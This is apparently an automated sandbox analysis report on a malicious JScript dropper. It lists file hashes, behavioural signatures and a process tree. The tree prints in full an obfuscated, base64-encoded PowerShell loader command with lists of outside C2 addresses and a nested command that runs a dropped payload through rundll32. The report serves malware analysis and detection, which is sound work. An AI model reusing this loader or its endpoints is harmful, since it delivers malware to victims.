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Analysis

  • max time kernel
    82s
  • max time network
    103s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/05/2023, 05:15

General

  • Target

    Vtxyfvr.js

  • Size

    100KB

  • MD5

    85a7a3a308614a2c2b4a68c119f077a3

  • SHA1

    bdecbdcc2f547c61d8e067e8211022424a54e00e

  • SHA256

    b504241a7c87f157af38d299f8c04d534e11e75aef01891df78f24d2a0bc7d9f

  • SHA512

    6c0c6abb0fccc5ed408caedebd8ae5b31dfb8491ba8a7fce21330af6d550fd04f18eeba454018a84b5e07e7cdbea962124667235317775d54a91646b98bc0c9f

  • SSDEEP

    1536:pz3dJz2g1J8zGHTHvo1XLX+hEz5YvoLwXVMqtxpY/mxSCZ/lTc9:k+MXLXOK5YQsXVMqtxpY/8SCZNTc9

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Vtxyfvr.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4036
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\ProgramData\Collating.js" nomisma Geostrategy Outwith mordants
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4528
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "$ S n o w c r a f t M e z u z a h   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A y A D A A M w A u A D Y A N w A u A D U A M A A u A D E A N Q A 4 A A = = o a A B 0 A H Q A c A A 6 A C 8 A L w B V A H A A c A B h A H I A Z A A u A G 8 A b g B l A A = = " ; S t a r t - S l e e p   - S e c o n d s   8 ; $ U n c a u s a t i v e l y P r e f a c e r s   =   " a A B 0 A H Q A c A B z A D o A L w A v A G M A b w B j A G 8 A d A B 0 A G U A V A B y A H k A c A B h A G Y A b A B h A H Y A a Q B u A G U A L g B n A G w A b w B i A G E A b A A = x l O T a A B 0 A H Q A c A A 6 A C 8 A L w A x A D Q A O Q A u A D g A M w A u A D E A O Q A x A C 4 A M Q A 2 A D U A " ; $ o r i f l a m m e S o u r c e s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w A x A D c A N g A u A D E A M g A 0 A C 4 A M Q A 5 A D g A L g A y A D E A M g A v A H M A M A B B A C 8 A R Q A 4 A E 4 A N A B N A H M A A d g G a A B 0 A H Q A c A A 6 A C 8 A L w A x A D c A N g A u A D E A M g A 0 A C 4 A M Q A 5 A D g A L g A y A D E A M w A v A E Y A c w A 4 A F A A e Q A v A G M A Z g B U A F U A Y g A = A d g G a A B 0 A H Q A c A A 6 A C 8 A L w A x A D A A O Q A u A D E A N w A y A C 4 A N A A 1 A C 4 A N w A 5 A C 8 A U A B s A E w A N A B t A F U A L w B x A D Q A V w B a A E E A d g B 0 A F o A T g A = " ; f o r e a c h   ( $ C u r r a n c e O r a l i z a t i o n   i n   $ o r i f l a m m e S o u r c e s   - s p l i t   " A d g G " )   { $ a r c h a i s t   =   " a A B 0 A H Q A c A B z A D o A L w A v A D Y A M w A u A D E A N g A x A C 4 A N g A 2 A C 4 A M g A w A D A A " ; $ e l e c t r o t o n i z e G a s e o u s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B M A H k A d A B 0 A G E A c w B D A H I A d Q B t A G U A b g B h A C 4 A d w B l A G I A Y w B h A G 0 A v B q D a A B 0 A H Q A c A A 6 A C 8 A L w A x A D I A M A A u A D Y A M Q A u A D E A M w A 4 A C 4 A M g A z A D E A " ; t r y   { $ b l o s s o m e d   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B s A G U A c w B 0 A G 8 A Y g B p A G 8 A c w B l A H M A Q w B s A H U A Y g B i A G k A b g B n A C 4 A Z g B y A A = = Y a A B 0 A H Q A c A A 6 A C 8 A L w B P A H Y A Z Q B y A G Q A Z Q B i A G k A b A B p A H Q A Y Q B 0 A G U A L g B j A G 8 A " ; $ f o r e s e e i n g l y   =  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 " a A B 0 A H Q A c A A 6 A C 8 A L w B o A G U A b Q B h A H Q A b w B k A H k A b g B h A G 0 A b w B t A G U A d A B l A H I A L g B w A G E A c g B 0 A G 4 A Z Q B y A H M A k Z A a A B 0 A H Q A c A A 6 A C 8 A L w A y A D E A O A A u A D c A N w A u A D E A N A A x A C 4 A M Q A z A D E A k Z A a A B 0 A H Q A c A A 6 A C 8 A L w A x A D k A O Q A u A D E A M A A 3 A C 4 A M g A z A D M A L g A y A D A A M w A = " ; $ E l u c i d   =   " a A B 0 A H Q A c A B z A D o A L w A v A D E A N A A 4 A C 4 A M Q A 2 A D I A L g A y A D Q A N g A u A D I A M Q A z A A = = " ; i f   ( ( G e t - I t e m   - P a t h   $ e n v : P r o g r a m D a t a \ b e l l y m a n H o g g i n s . i w a i w a ) . L e n g t h   - g e   2 1 1 4 3 6 ) { p o w e r s h e l l   - e n c o d e d c o m m a n d   " c w B 0 A G E A c g B 0 A C A A c g B 1 A G 4 A Z A B s A G w A M w A y A C A A J A B l A G 4 A d g A 6 A F A A c g B v A G c A c g B h A G 0 A R A B h A H Q A Y Q B c A G I A Z Q B s A G w A e Q B t A G E A b g B I A G 8 A Z w B n A G k A b g B z A C 4 A a Q B 3 A G E A a Q B 3 A G E A L A B 2 A G k A c A B z A D s A c w B s A G E A Y w B r A C 4 A Y w B v A G 0 A " ; $ E r i s t i c s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B n A G w A b w B z A H M A a Q B z A H Q A V Q B u A H M A Y Q B w A G 8 A b g B p A G Y A a Q B h A G I A b A B l A C 4 A Z w B p A G Y A d A B z A A = = u T p Z a A B 0 A H Q A c A B z A D o A L w A v A D Y A O Q A u A D k A M Q A u A D Y A M w A u A D g A M w A = u T p Z a A B 0 A H Q A c A A 6 A C 8 A L w B i A H I A Z Q B h A G Q A b g B l A H M A c w A u A G 4 A d Q A = " ; $ a r c h a e o c y t e   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B p A G 0 A c A B y A G E A Y w B 0 A G k A Y w B h A G w A a Q B 0 A G k A Z Q B z A E 4 A d Q B 0 A G g A b w B 1 A H M A Z Q B z A C 4 A Z g B v A H U A b g B k A G E A d A B p A G 8 A b g A = B w a A B 0 A H Q A c A B z A D o A L w A v A E k A b Q B t A G U A c g B n A G U A L g B v A G 4 A Z Q A = " ; b r e a k ; } }   c a t c h   { $ C h o n t a q u i r o   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B 2 A G 8 A b A B j A G E A b g B F A H M A d A B l A H I A Y Q B z A G U A L g B w A G k A Y w B z A A = = " ; } } $ F i l l e t s t e r B i o b i b l i o g r a p h i e s   =   " a A B 0 A H Q A c A A 6 A C 8 A L w B 3 A G E A c w B o A G 8 A Y Q B u A E U A b g B 0 A G k A Z Q B y A C 4 A Y g B p A H o A N a A B 0 A H Q A c A A 6 A C 8 A L w B j A G 8 A d Q B u A H Q A Z Q B y A G 8 A Z g B m A G U A b g B z A G k A d g B l A H M A V Q B u A H A A Z Q B y A G k A c A B o A H I A Y Q B z A G U A Z A A u A G w A Z w B i A H Q A N a A B 0 A H Q A c A B z A D o A L w A v A G E A b g B h A G I A Y Q B u A H Q A a Q B k A E Q A d Q B t A G I A Z Q B k A C 4 A Z w B y A G E A d A B p A H M A N a A B 0 A H Q A c A B z A D o A L w A v A H c A a A B h A H I A Z g B z A G k A Z A B l A E M A b w B v A G w A Y Q B i A G E A a A A u A H Q A b w B k A G E A e Q A = " ; "
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1608

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\Collating.js

    Filesize

    100KB

    MD5

    85a7a3a308614a2c2b4a68c119f077a3

    SHA1

    bdecbdcc2f547c61d8e067e8211022424a54e00e

    SHA256

    b504241a7c87f157af38d299f8c04d534e11e75aef01891df78f24d2a0bc7d9f

    SHA512

    6c0c6abb0fccc5ed408caedebd8ae5b31dfb8491ba8a7fce21330af6d550fd04f18eeba454018a84b5e07e7cdbea962124667235317775d54a91646b98bc0c9f

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qfg3m2d.wun.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1608-135-0x0000019FF5100000-0x0000019FF5122000-memory.dmp

    Filesize

    136KB

  • memory/1608-145-0x0000019FF5130000-0x0000019FF5140000-memory.dmp

    Filesize

    64KB

  • memory/1608-146-0x0000019FF5130000-0x0000019FF5140000-memory.dmp

    Filesize

    64KB

  • memory/1608-147-0x0000019FF5130000-0x0000019FF5140000-memory.dmp

    Filesize

    64KB